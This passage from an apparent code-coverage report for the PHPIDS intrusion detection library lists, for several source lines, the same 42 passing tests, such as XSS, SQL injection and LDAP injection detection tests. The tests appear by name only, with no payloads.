class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel97": { - "header": "42 tests cover line 97", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel99": { - "header": "42 tests cover line 99", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel100": { - "header": "42 tests cover line 100", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel101": { - "header": "42 tests cover line 101", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel103": { - "header": "42 tests cover line 103", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel104": { - "header": "42 tests cover line 104", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel105": { - "header": "42 tests cover line 105", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel106": { - "header": "42 tests cover line 106", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel107": { - "header": "42 tests cover line 107", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel110": { - "header": "42 tests cover line 110", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li 